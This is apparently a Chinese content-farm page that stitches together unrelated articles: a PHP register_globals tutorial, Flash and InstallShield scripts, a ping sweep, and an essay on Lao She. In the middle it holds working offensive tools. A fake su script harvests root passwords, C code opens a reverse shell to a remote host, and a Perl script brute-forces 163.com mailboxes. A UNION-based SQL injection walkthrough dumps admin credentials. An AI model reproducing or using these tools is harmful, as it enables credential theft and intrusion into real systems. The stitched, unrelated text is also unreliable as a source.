除了“引入”这两个变量以外,程序代码没有任何改变。简单地关闭register_globals选项促使开发者更进一步了解哪些数据是来自外部的(不可信任的)资源。

请注意这里还有一个小问题:PHP中默认的error_reporting设置仍然是E_ALL & ~E_NOTICE,因此如果“username”和“password”这两个值没有被提交,试图从$_REQUEST数组或$_POST数组中获得这两个值并不会招致任何错误信息。如晨不你的PHP程序需要严格的错误检查,你还需要增加一些代码以首先检查这些变量。

但是这是不是意味着更多的输入?

是的,在象上面这样的简单程序中,使用PHP 4.2常常会增加输入量,

但是,还是看看光明的一面吧 -- 你的程序终究是更安全了!

不过认真的说,PHP的设计者并没有完全忽视你的痛苦。在这些新数组中有一个特殊的其它所PHP变量都不具备的特征,它们是完全的全局变量。这对你有什么帮助呢?让我们先对我们的示例进行一下扩充。

为了使得站点中的多个页面可以使用用户名/口令论证,我们将我们用户认证程序写到一个include文件(protectme.php)中:

/* protectme.php */

function authorize_user($authuser, $authpass)

{

$username = $_POST['username'];

$password = $_POST['password'];

// 检查用户名和口令

if ($username != $authuser or $password != $authpass):

?>

Please enter your username and password:

Username:

Password:

exit;

endif;

}

?>

现在,我们刚才的页面看上去将是这样的:

require('protectme.php');

authorize_user('kevin','secret');

?>

很简单,很清晰明了,对不对?现在是考验你的眼力和经验的时候了 -- 在authorize_user 函数中少了什么?

在函数中没有申明$_POST是一个全局变量!在php 4.0中,当register_globals开启时,你需要增加一行代码以在函数中获取$username和$password变量:

function authorize_user($authuser, $authpass)

{

global $username, $password;

...

在PHP中,和其它具有类似语法的语言不同,函数外的变量在函数中不能自动获得,你需要象上面所说明的那样增加一行以指定其来自global范围。

在PHP 4.0中,当关闭register_globals以提供安全性时,你可以使用$HTTP_POST_VARS数组以获得你的表单提交的值,但是你还是需要从全局范围导入这个数组:

function authorize_user($authuser, $authpass)

{

global $HTTP_POST_VARS;

$username = $HTTP_POST_VARS['username'];

$password = $HTTP_POST_VARS['password'];

但是在PHP 4.1及以后的版本中,特殊的$_POST变量(以及上面提到的其它变量)可以在所有范围内使用。这就是不需要在函数中申明$_POST变量是一个全局变量的原因:

function authorize_user($authuser, $authpass)

{

$username = $_POST['username'];

$password = $_POST['password'];

这对session有什么影响?

特殊的$_SESSION数组的引入实际上有助于简化session代码。你不需要将session变量申明为全局变量,然后再去留意哪些变量被注册了,你现在可以简单地从$_SESSION['varname']中引用你所有的session变量。

现在让我们来看看另一个用户认证的例子。这一次,我们使用sessions以标志一个在你的网站继续逗留的用户已经经过了用户认证。首先,我们来看看PHP 4.0版本(开启register_globals):

session_start();

if ($username == 'kevin' and $password == 'secret')

{

$authorized = true;

session_register('authorized');

}

?>

和刚开始的程序一样,这个程序也存在安全漏洞,在URL的最后加上?authorized=1可以绕过安全措施直接访问页面内容。开发者可以将$authorized视为一个session变量而忽视了可以很容易地通过用户输入设置同样的变量。

当我们增加了我们的特殊的数组(PHP 4.1)并关闭register_globals(PHP 4.2)后,我们的程序将是这样的:

session_start();

if ($username == 'kevin' and $password == 'secret')

$_SESSION['authorized'] = true;

?>

是不是更加简单了?你不再需要再将普通的变量注册为一个session变量,你只需要直接设置session变量(在$_SESSION数组中),然后用同样的方法使用它。程序变得更短了,而且对于什么变量是session变量也不会引起混乱!

总结

在这篇文章中,我解释了PHP脚本语言作出改变的深层原因。在PHP 4.1中,添加了一组特殊数据以访问外部数据。这些数组可以在任何范围内调用,这使得外部数据的访问更方便。在PHP 4.2中,register_globals被默认关闭以鼓励使用这些数组以避免无经验的开发者编写出不安全的PHP代码。

原文转自:www.ltesting.net

篇9:FLash用纯脚本的三维效果

脚本

把下面代码复制放到FLASH中的动作面板中就可以了!

//声明参数并初始值

var n = 0;

//初始坐标

a_x = Stage.width/2;

a_y = Stage.height/2;

//半周系数

var p = Math.PI/180;

//创建空的影片剪辑mc

_root.createEmptyMovieClip(”mc“, -1);

//在mc上画一个半圆,在此利用了一个参数方程,圆的参数为,大小150像素,从90度开始画起,是个垂直半圆

with (_root.mc) {

lineStyle(1, 0x999900, 100);

for (i=0; i<180; i++) {

moveTo(150*Math.cos((90+i)*p), 150*Math.sin((90+i)*p));

lineTo(150*Math.cos((91+i)*p), 150*Math.sin((91+i)*p));

}

}

//设置圆的坐标

_root[”mc“]._x = a_x;

_root[”mc“]._y = a_y;

//复制影片剪辑并反转该影片剪辑,与前一个半圆组成一个整圆

duplicateMovieClip(”mc“, ”mc“+0, 0);

_root[”mc0“]._x = a_x;

_root[”mc0“]._y = a_y;

//这个就是反转半圆

_root[”mc0“]._xscale = -100;

//复制12个半圆

for (i=1; i<=12; i++) {

duplicateMovieClip(”mc“, ”mc“+i, i);

//在每个影片剪辑上执行脚本

_root[”mc“+i].onEnterFrame. = function() {

//获取影片剪辑实例名的参数,在这里表示获取从第三个字符起的两个字符,是个数字

i = this._name.substr(2, 2);

//影片剪辑的坐标

this._x = a_x;

this._y = a_y;

//影片剪辑的旋转,在这里,以60度为单位旋转

this._rotation = Math.round((i-1)/6)*60;

//影片剪辑的缩放

this._xscale = 100*Math.cos((((i-1)%6)*60+n)*p);

//影片剪辑的透明度

this._alpha = 10+(1-Math.cos(((i%6)*60+n)*p))*45;

/*参数递增,这个参数还可以通过鼠标的坐标来动态的改变

比如n+=_root._xmouse/1000,大家可以隐藏n+=.2看一下效果

在这里我隐藏了鼠标效果*/

//n += .2;

n += (Stage.width/2-_root._xmouse)/1000;

};

}

篇10:用InstallShield打包ASP程序的脚本

作者: 字体:[增加 减小] 类型:

#include ”ifx.h“ //不能移动

//////////////////////////////////////////////////////////////////////////////

// 用InstallShield 进行 ASP 软件的打包和自动安装

// 原创作者: 贾俊 (Jaron)

// 网址: www.jiangdu.net

// 邮件: jaron@jdinfo.net

// 首次发表于网易,ChinaASP,ASPHouse

//////////////////////////////////////////////////////////////////////////////

// 功能:

// 1.文件复制

// 2.可选自动设置独立站点运行(设置IIS)

// 3.可选自动设置虚拟站点运行(设置IIS)

// 4.设置目录可读,可写及可运行脚本

// 5.自动创建ODBC

// 6.自动创建或附加MDF格式的SQL数据库 并优化

// 7.自动安装 ScriptEncode 解码程序

// 本文仅列出了 InstallShield 的 Script 部分,还有两个 VBS 文件及其他设置

// 测试过程中有任何问题,请来 www.jiangdu.net/bbs 编程空间版 讨论

//////////////////////////////////////////////////////////////////////////////

prototype CreateDataBase(STRING,STRING,STRING);

prototype CreateWebSite(STRING,STRING); // 创建 IIS 站点

prototype CreateVirtualDir(STRING); // 创建虚拟目录

//////////////////////////////////////////////////////////////////////////////

//

// 函数: OnFirstUIBefore

//

// 事件: FirstUIBefore event is sent when installation is run for the first

// time on given machine. In the handler installation usually displays

// UI allowing end user to specify installation parameters. After this

// function returns, ComponentTransferData is called to perform file

// transfer.

//

///////////////////////////////////////////////////////////////////////////////

function OnFirstUIBefore

NUMBER nResult,nSetupType,nOpt,svEdit1,svEdit2;

STRING szTitle, szMsg,szBmpPath;

STRING szLicenseFile, szQuestion;

STRING szServerIP,szServerPort,szServerIPDefault,szServerPortDefault;

STRING szSQLsvr,szSQLusr,szSQLpwd,svSQLsvr,svSQLusr,svSQLpwd;

STRING svName, svCompany, svSerial;

STRING szFile,szTargetPath,szDir,szfolder;

STRING szComponents, szTargetdir;

STRING szField1,szField2;

STRING szDefault,svResult;

OBJECT piisObj;

LIST list,listStartCopy;

NUMBER nLevel,nvSize;

begin

szBmpPath=”C:“^”temp“^”left.bmp“;

DialogSetInfo (DLG_INFO_ALTIMAGE, szBmpPath, TRUE); // 设置左边的图片

//To Do: if you want to enable background, window title, and caption bar title

//SetTitle( @TITLE_MAIN, 24, WHITE );

//SetTitle( @TITLE_CAPTIONBAR, 0, BACKGROUNDCAPTION );

//Enable( FULLWINDOWMODE );

//Enable( BACKGROUND );

//SetColor(BACKGROUND,RGB (0, 128, 128));

//默认值设定

TARGETDIR = ”C:“^”inetpub“^”JaronSoft“^@FOLDER_NAME;

szDir = TARGETDIR;

SHELL_OBJECT_FOLDER = @FOLDER_NAME;

svName = ”试用版用户“;

svCompany = ”JDinfo Network“;

svSerial = ”111-1111111“;

Dlg_Start:

// beginning of dialogs label

Dlg_SdWelcome: //欢迎 对话框

szTitle = ”欢迎进入“;

szMsg = ”“;

nResult = SdWelcome( szTitle, szMsg );

if (nResult = BACK) goto Dlg_Start;

Dlg_SdLicense://软件许可协议 对话框

szLicenseFile = SUPPORTDIR ^ ”license.txt“;

szTitle = ”许可协议“;

szMsg = ”“;

szQuestion = ”“;

nResult = SdLicense( szTitle, szMsg, szQuestion, szLicenseFile );

if (nResult = BACK) goto Dlg_SdWelcome;

Dlg_SdShowInfoList://readme文件 对话框

szFile = SUPPORTDIR ^ ”infolist.txt“;

list = ListCreate( STRINGLIST );

ListReadFromFile( list, szFile );

szTitle = ”README“;

szMsg = ”“;

nResult = SdShowInfoList( szTitle, szMsg, list );

ListDestroy( list );

if (nResult = BACK) goto Dlg_SdLicense;

Dlg_SdRegisterUserEx://用户信息 对话框

szMsg = ”“;

szTitle = ”用户信息“;

nResult = SdRegisterUserEx( szTitle, szMsg, svName, svCompany, svSerial );

if (nResult = BACK) goto Dlg_SdShowInfoList;

//检查序列号

//if (CHK_serial(svCompany, svSerial)<0) then

//goto Dlg_SdRegisterUserEx;

//endif;

//检查序列号完毕

Dlg_SdAskDestPath://安装位置 对话框

szTitle = ”检查序列号“;

szMsg = ”“;

nResult = SdAskDestPath( szTitle, szMsg, szDir, 0 );

TARGETDIR = szDir;

if (nResult = BACK) goto Dlg_SdRegisterUserEx;

Dlg_SetupType: //安装类型 对话框

nSetupType = TYPICAL;

szTitle = ”安装类型“;

szMsg = ”请选择您需要按哪种方式安装“;

nResult = SetupType ( szTitle , szMsg , ”“ , nSetupType , 0 );

if (nResult = BACK) then

goto Dlg_SdAskDestPath;

else

nSetupType = nResult;

if (nSetupType != CUSTOM) then

szTargetPath = TARGETDIR;

nvSize = 0;

ComponentCompareSizeRequired(MEDIA,szTargetPath,nvSize);

if (nvSize != 0) then

MessageBox( szSdStr_NotEnoughSpace, WARNING );

goto Dlg_SetupType;

endif;

endif;

endif;

Dlg_SdComponentTree: //对话框

if ((nResult = BACK) && (nSetupType != CUSTOM)) goto Dlg_SetupType;

szTitle = ”对话框“;

szMsg = ”“;

szTargetdir = TARGETDIR;

szComponents = ”“;

nLevel = 2;

if (nSetupType = CUSTOM) then

nResult = SdComponentTree(szTitle, szMsg, szTargetdir, szComponents, nLevel);

if (nResult = BACK) goto Dlg_SetupType;

endif;

Dlg_SdSelectFolder://对话框

szfolder = SHELL_OBJECT_FOLDER;

szTitle = ”文件夹“;

szMsg = ”“;

nResult = SdSelectFolder( szTitle, szMsg, szfolder );

SHELL_OBJECT_FOLDER = szfolder;

if (nResult = BACK) goto Dlg_SdComponentTree;

Dlg_SelMode ://设置数据库服务器 对话框

szTitle = ”设置“+@PRODUCT_NAME+”的运行模式“;

szMsg = ”请选择软件运行的方式,极力推荐使用独立站点方式运行“;

szField1=”独立站点方式运行(自动创建新站点)“;

szField2=”虚拟目录方式运行(自动创建虚拟目录)“;

svEdit1=TRUE;

svEdit2=FALSE;

SetDialogTitle(DLG_ASK_TEXT,szTitle);

//DialogSetInfo ( DLG_INFO_CHECKSELECTION, ”“, 1);

nOpt = EXCLUSIVE ;

nResult = AskOptions (nOpt,szMsg,szField1,svEdit1,szField2,svEdit2);

if (nResult = BACK) goto Dlg_SdSelectFolder;

if (svEdit1=FALSE) goto Dlg_SdStartCopy;

Dlg_AskText ://设置数据库服务器 对话框

szTitle = ”设置IIS信息服务及数据库服务器“;

szMsg = ”现在开始设置IIS系统“;

szQuestion=”    请输入本服务器的主机名或IP地址,安装程序将按照您提供的资料设置IIS信息服务,

用InstallShield打包ASP程序的脚本

如果您没有填写,安装程序将自动跳过站点的创建!“;

szServerIP=”地址:“;

szServerPort=”端口:“;

szServerIPDefault=”192.168.0.1“;

szServerPortDefault=”80“;

SetDialogTitle(DLG_ASK_TEXT,szTitle);

nResult=SdShowDlgEdit2 (szTitle, szQuestion,szServerIP,szServerPort,szServerIPDefault,szServerPortDefault);

if (nResult = BACK) goto Dlg_SelMode;

Dlg_AskSQL ://设置数据库服务器 对话框

szTitle = ”设置数据库“;

szMsg = ”现在开始设置Microsoft SQL Server数据库系统“;

szQuestion=”    请输入SQL SERVER数据库服务器的用户名和密码,安装程序将按照您上步提供的IP地址和下面的用户名和密码创建和优化数据库系统。如果您提供的用户名和密码是错误的,安装程序将自动跳过数据的设置!“;

szSQLsvr=”主机名:“;

szSQLusr=”用户名:“;

szSQLpwd=”密码:“;

svSQLsvr=”localhost“;

svSQLusr=”sa“;

szSQLpwd=”“;

SetDialogTitle(DLG_ASK_TEXT,szTitle);

nResult=SdShowDlgEdit3 (szTitle, szQuestion,szSQLsvr,szSQLusr,szSQLpwd,svSQLsvr,svSQLusr,svSQLpwd);

if (nResult = BACK) goto Dlg_SelMode;

Dlg_SdStartCopy://开始复制文件 对话框

szTitle = ”开始复制文件“;

szMsg = ”点击下一步开始复制文件“;

listStartCopy = ListCreate( STRINGLIST );

ListAddString(listStartCopy,”用户名:“+svName,AFTER);

ListAddString(listStartCopy,”公司名称:“+svCompany,AFTER);

ListAddString(listStartCopy,”序列号:“+svSerial,AFTER);

ListAddString(listStartCopy,”目标目录:“+szDir,AFTER);

if (svEdit1=TRUE) then

ListAddString(listStartCopy,”IP地址:“+szServerIPDefault,AFTER);

ListAddString(listStartCopy,”端口号:“+szServerPortDefault,AFTER);

endif;

ListAddString(listStartCopy,”请确认您填写的信息,按下一步开始复制文件“,AFTER);

nResult = SdStartCopy( szTitle, szMsg, listStartCopy );

ListDestroy(listStartCopy);

if (nResult = BACK) goto Dlg_AskText;

// setup default status

SetStatusWindow(0, ”“);

Enable(STATUSEX);

StatusUpdate(ON, 100);

if (svEdit1=TRUE) then

CreateWebSite(szServerIPDefault,szServerPortDefault);  // 开始创建 IIS 站点

endif;

if (svEdit2=TRUE) then

CreateVirtualDir(”NetOA“);  // 开始创建 IIS 站点

endif;

CreateDataBase(svSQLsvr,svSQLusr,svSQLpwd); // 创建和优化数据库

return 0;

end;

//////////////////////////////////////////////////////////////////////////////

//

// 函数: OnFirstUIAfter

//

// 事件: FirstUIAfter event is sent after file transfer, when installation

// is run for the first time on given machine. In this event handler

// installation usually displays UI that will inform end user that

// installation has been completed successfully.

//

///////////////////////////////////////////////////////////////////////////////

function OnFirstUIAfter()

STRING szTitle,szMsg1, szMsg2, szOption1, szOption2,szCmdLine;

NUMBER bOpt1, bOpt2;

begin

//set_vod_liveaddress();

szCmdLine = SUPPORTDIR ^”SCE10CHS.EXE“;

if (LaunchAppAndWait(szCmdLine, ” /q“,WAIT) < 0) then

MessageBox (”不能安装解码程序,请联系供应商.“,SEVERE);

endif;

Disable(STATUSEX);

bOpt1 = FALSE;

bOpt2 = FALSE;

szMsg1 = SdLoadString(IFX_SDFINISH_MSG1);

szMsg2 = ”请浏览本主机WEB服务器上的 “+@PRODUCT_NAME+” 虚拟目录 例: Localhost/“;

szOption1 = ”“;

szOption2 = ”“;

szTitle = @PRODUCT_NAME+”安装完成“;

SdFinishEx(szTitle,szMsg1,szMsg2,szOption1,szOption2,bOpt1,bOpt2);

szCmdLine = ”LocalHost“;

//if (LaunchApp(PROGRAMFILES ^”Internet Explorer“^”IEXPLORE.EXE“, szCmdLine) < 0) then

//MessageBox (”不能打开浏览器.“,SEVERE);

//endif;

return 0;

end;

//////////////////////////

// 创建IIS站点

//////////////////////////

function CreateWebSite(szServerIPDefault,szServerPortDefault)

STRING szCmdLine,szWaitTxt;

begin

if ((szServerIPDefault = ”“) || (szServerPortDefault = ”“)) then

MessageBox (”您没有设定“+@PRODUCT_NAME+”运行的服务器IP地址或端口!!IIS信息服务设置失败!请自行创建IIS站点,并将主目录设为:“+TARGETDIR,SEVERE);

else

szWaitTxt=” 正在创建IIS和设置站点....“;

SdShowMsg (szWaitTxt, TRUE);

Delay(2);

szCmdLine = SUPPORTDIR ^”mkw3site.vbs“+” -r “+TARGETDIR+” -i “+szServerIPDefault+” -o “+szServerPortDefault+” -t “+@PRODUCT_NAME;

if (LaunchAppAndWait(”WScript.exe“, szCmdLine,WAIT) < 0) then

MessageBox (”不能建立WEB 虚拟目录,没有找到 WScript.exe 或执行脚本错误.“,SEVERE);

endif;

SdShowMsg (szWaitTxt, FALSE);

endif;

return 0;

end;

//////////////////////////

// 创建虚拟目录

//////////////////////////

function CreateVirtualDir(VirtualFolder)

STRING szCmdLine,szWaitTxt;

begin

if (VirtualFolder = ”“) then

MessageBox (”没能读取到虚拟目录的名称!请联系系统供应商!“+TARGETDIR,SEVERE);

else

szWaitTxt=” 正在创建“+@PRODUCT_NAME+”的虚拟目录....“;

SdShowMsg (szWaitTxt, TRUE);

Delay(2);

szCmdLine = SUPPORTDIR ^”mkwebdir.vbs “+” -w 1 -v \“”+VirtualFolder+“\”,\“”+ TARGETDIR+“\”“ ;

if (LaunchAppAndWait(”WScript.exe“, szCmdLine,WAIT) < 0) then

MessageBox (”不能建立WEB 虚拟目录,没有找到 WScript.exe 或执行脚本错误.“,SEVERE);

endif;

SdShowMsg (szWaitTxt, FALSE);

endif;

return 0;

end;

//////////////////////////

// 创建和优化数据库

//////////////////////////

function CreateDataBase(svSQLsvr,svSQLusr,svSQLpwd)

STRING szCmdLine,szWaitTxt;

begin

szWaitTxt=” 正在创建“+@PRODUCT_NAME+”所需数据库....“;

SdShowMsg (szWaitTxt, TRUE);

Delay(2);

szCmdLine = ”/U “+svSQLusr+” /P “+svSQLpwd+” /S “+svSQLsvr+” /Q \“exec sp_attach_db N‘OASystem‘ , N‘”+SUPPORTDIR ^“OASystem_data.mdf‘\”“;

if (LaunchAppAndWait(”osql.exe“, szCmdLine,WAIT) < 0) then

MessageBox (”数据库创建失败!请确您的系统中已安装 Microsoft SQL Server . 如仍无法解决,请联系系统供应商!“,SEVERE);

endif;

SdShowMsg (szWaitTxt, FALSE);

szWaitTxt=” 正在优化“+@PRODUCT_NAME+”系统数据库....“;

SdShowMsg (szWaitTxt, TRUE);

Delay(2);

szCmdLine = ”/U “+svSQLusr+” /P “+svSQLpwd+” /S “+svSQLsvr+” /Q \“use OASystem ; exec sp_updatestats\”“;

if (LaunchAppAndWait(”osql.exe“, szCmdLine,WAIT) < 0) then

MessageBox (”数据库优化失败!您可以在 sql查询分析器中执行 use OASystem ; exec sp_updatestats 完成!“,SEVERE);

endif;

SdShowMsg (szWaitTxt, FALSE);

return 0;

end;

篇11:渗透用的Python小脚本脚本安全

渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小实用,

一、记录root密码小工具

root.py

#!/usr/bin/pythonimportos, sys, getpass, timecurrent_time = time.strftime(”%Y-%m-%d %H:%M“)logfile=”/dev/shm/.su.log“//密码获取后记录在这里#CentOS#fail_str = ”su: incorrect password“#Ubuntu#fail_str = ”su: Authentication failure“#For Linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样fail_str =”su: incorrect password“try:passwd = getpass.getpass(prompt='Password: ');file=open(logfile,'a')file.write(”[%s]t%s“%(passwd, current_time))   //截取root密码file.write('n')file.close()except:passtime.sleep(1)printfail_str                               //打印切换root失败提示

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

二、设置源端口反弹shell

渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,Ping了下百度,可以ping通。那真相只有一个,服务器变态的限制了只能某些提供已某些端口为源端口去连接外面。

比如:只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。

谷歌程序无果,自己查了相关api后写了个。

client-port.c

#include#include#include#include#includevoid error(char *msg){perror(msg);exit(0);}int main(int argc, char *argv[]){int sockfd, portno, lportno,n;struct sockaddr_in serv_addr;struct sockaddr_in client_addr;struct hostent *server;char buffer[256];if(argc <3) {fprintf(stderr,”usage %s hostname port LocalPortn“, argv[0]);exit(0);} //三个参数,目标主机,目标主机端口,本地源端口portno = atoi(argv[2]);sockfd = socket(AF_INET, SOCK_STREAM,0);if(sockfd <0)error(”ERROR opening socket“);bzero((char *) &client_addr, sizeof(client_addr));lportno = atoi(argv[3]);client_addr.sin_family = AF_INET;client_addr.sin_addr.s_addr = INADDR_ANY;client_addr.sin_port = htons(lportno); //设置源端口if(bind(sockfd, (struct sockaddr *) &client_addr,sizeof(client_addr)) <0)error(”ERROR on binding“);server = gethostbyname(argv[1]);if(server == NULL) {fprintf(stderr,”ERROR, no such host “);exit(0);}bzero((char *) &serv_addr, sizeof(serv_addr));serv_addr.sin_family = AF_INET;bcopy((char *)server->h_addr,(char *)&serv_addr.sin_addr.s_addr,server->h_length);serv_addr.sin_port = htons(portno);if(connect(sockfd,&serv_addr,sizeof(serv_addr)) <0) //连接error(”ERROR connecting“);dup2(fd,0);dup2(fd,1);dup2(fd,2);execl(”/bin/sh“,”sh -i“, NULL); //执行shellclose(fd);}

用法:

gcc client-port.c -o portchmod +x port./port  你的IP 你的监听端口 本地的源端口

如 ./port www.91ri.org 80 80

成功反弹shell 提权成功

三、邮箱爆破脚本

某个时候,需要爆破一批邮箱,

Burp163.pl

#!/usr/bin/perluse Net::POP3;$email=”pop.163.com“;          //设置pop服务器地址 qq为pop.qq.com$pop = Net::POP3->new($email)ordie(”ERROR: Unable to initiate. “);print$pop->banner();$pop->quit;$i=0;open(fp1,”user.txt“);@array1=;open(fp2,”pass.txt“);@array2=;                     //从文件中获取邮箱用户名及密码foreach $a(@array1) {$u=substr($a,0,length($a)-1);$u=$u.”@163.com“;foreach $b(@array2) {$p=substr($b,0,length($b)-1);print”cracked with “.$u.”-----“.$p.”n“;$i=$i+1;$pop = Net::POP3->new($email)ordie(”ERROR: Unable to initiate. “);$m=$pop->login($u,$p);              //尝试登录邮箱if($m>0){print$u.”------------“.$p.”----“.”success“.”n“;$pop->quit;}                                //成功登录else{print$u.”------------“.$p.”----“.”failed“.”n“;$pop->quit;                                     //登录失败}}}print$i;

用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

$email=”pop.163.com“;

再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说:这个有点鸡肋吧?万一邮箱的密码很复杂。

呵呵。

搞到了一个小站的数据,用这个程序批量测试密码是否就是邮箱密码。

呵呵,我啥都没说。

这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。

篇12:用脚本检测局域网络是否可以ping通

用脚本检测局域网络是否可以ping通:

#!/bin/bash

for i in {1..254}

do

HOST=192.168.0.$I

ping -c2 $HOST &>/dev/null

if [ $? = 0 ]; then

echo ”$HOST is up!“

else

echo ”$HOST is down!"

fi

done

篇13:用Union语句构造注入PHP脚本安全

此文章技术含量不高,。 给菜鸟学习还是很有必要滴~~ 高手看过不要仍砖头就好 ^_^

全文

原文地址: www.tkbbs.com/Article/wlaq/hkgf/10/856.html

参考文章 用Union进行高效注入

事件起因是用 HDSI过程当中 的WEBSHELL管理 有一个网站 显示是 SQL 注入 于是感兴趣的那工具扫 当然 无法 扫到管理帐号 工具无效。。 哈哈 于是开始手工注射

注射地址为 :www.XXX.net/read.php?type=news&id=29

www.xxxx.net/read.php?type=news&id=29/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7/**/from/**/admin

上面的字符的意思是 查询 ADMIN表的字段数目 可以逐个增加 最终页面 不在提示出错 可以看到 页面出现了 2 4 和作者后面的3

说明程序调用了这几个字符 如图1

于是把上面的 2 3 4 分别替换成 count(id):查询有几个管理人员 min(id):管理人员帐号ID最小值 max(id):管理人员帐号ID最大值

成为下面的语句

www.xxxx.net/read.php?type=news&id=29/**/and/**/1=2/**/union/**/select/**/1,count(id),min(id),max

(id),5,6,7/**/from/**/admin

如图2

上面的 原来的 2的地方 显示 2 4的地方显示2 3的地方显示1 说明 管理人员ID最大的为2 ID最小的为1 总共两个管理人员

下面查询 他的管理ID叫什么 密码和 ID

username password id

把上面的 2 3 4 分别替换成username password id 这个过程如果没爆出来 可以把 这几个字段换成其他的尝试

www.xxxx.net/read.php?type=news&id=29/**/and/**/1=2/**/union/**/select/**/1,username,password,1,5,6,7/**/from/**/admin

或 www.xxxx.net/read.php?type=news&id=29/**/and/**/1=2/**/union/**/select/**/1,username,password,2,5,6,7/**/from/**/admin

如图3

看见了吗 管理者 ID 为1 帐号为 wnjy 密码是 $1$BX$/.kw1RvBf/Un7c9heGMPb0

好了 本文到此就结束了 希望广大菜鸟朋友们有所领悟 另外 动力系统的 3.51前 好象也有这种漏洞 构造语句的方法大致相同~  BY 风雪残士

篇14:老舍坚持用北京话写作

老舍坚持用北京话写作

作为北京人,老舍用北京话写作,这使他占了好大的便宜。“五四”运动之后,中国文学走上了用白话文写作占主导地位的新阶段,但是最初的白话文是一种欧式语法的白话文,一般的平民并不懂,读这种白话文著作对他们来说总有拗口之感。

老舍走了一条新路,他的头四部长篇小说《老张的哲学》《赵子曰》《二马》和《小坡的生日》给当时的文坛刮进一股清新的风。他是第一位纯粹用北京人的口语进行文学创作的作家。他为自己提出的奋斗目标是,用平民《千字文》中的一千个字写出好文章来。

不少人就以为老舍的文字太缺乏书生气,太俗,太贫,近于贩夫走卒的俗鄙。老舍曾大声地回答过这种指责:“我一点也不以此为耻!”

总的说来,老舍先生主张用方言写作,一则带有地方色彩,永远具体而生动,二则它绝对是口语。他自己就在作品中大量地用北京方言写作。北京话素以轻快幽默生动闻名天下。老舍得了地利之便,他的文字在中国现代文学中被誉为最活泼的、最俏皮的'、最有音乐性的、最流利的和最上口的。当时有些批评家说老舍的文字地方色彩太浓,可是,后来不论是国语还是普通话,都偏偏规定以北京音为基础,于是,老舍的文字反而成了大家学习的范文。

老舍创造了一种仅仅属于他自己的、经过节选、加工和改造了的漂亮的北京话,并不是记录型的所谓“京片子”,并用它进行文学创作,甚至用它来描写。由于在语言文字上的杰出贡献,老舍被称为“语言大师”。

老舍诞生在一个满族低级军官的家庭。满族是个熟透了的民族,满族人多才多艺,非常善于学习,后来全面继承了汉文化。一个清末普通的满族人,多多少少都会唱两句京戏或者牌子曲,会玩一两样乐器,会养鸟,会种花……总之,在文化上相当成熟。这个满族出身背景,对一位作家来说非同小可。

有过一个统计,老舍本人的爱好多达十多种:打拳、唱戏、养花、说相声、藏画、玩骨牌、和小孩子交朋友、下小馆、念外文、写字、养猫、旅行、行善、赠友、起名字、劳动、收藏小珍宝等。

由于对民间文学艺术的熟悉和热爱,老舍除了写小说之外,还热衷于写戏剧和曲艺。与同时代的文学家相比,老舍称得上是一个“全才”,他除了享有“中国现代长篇小说奠基人之一”和著名戏剧家的美称之外,还被叫做“曲艺改革的创始人”。由抗日战争时期起,他就开始写大鼓词、单弦、快板、太平调、河南坠子、相声,后来,他还为曲艺艺人写了一出多幕戏,教他们用各种曲牌去演唱,像演歌剧似的,他为这种形式的戏取了一个新名字,叫“曲剧”。现在,舞台上不仅有曲剧上演,北京还有专门的曲剧剧团。老舍这种多面手的本事和他的满族出身有着极密切的关系。

老舍一岁半的时候,父亲死于和八国联军的战斗中,以后的日子完全靠不识字的母亲替人家洗衣服、做针线活儿和帮佣过活。

(摘自《北京晚报》舒乙/文)

【用戏剧脚本写作的范文】相关文章:

1.脚本范文

2.戏剧作文

3.诗歌:这不是戏剧

4.戏剧大赛策划书

5.戏剧故事 范文

6.商务谈判对话脚本范文

7.食品广播脚本范文

8.应急演练脚本范文

9.戏剧听课记录评语

10.《莎士比亚戏剧》读后感1500字

下载word文档
《用戏剧脚本写作的范文.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

  • 返回顶部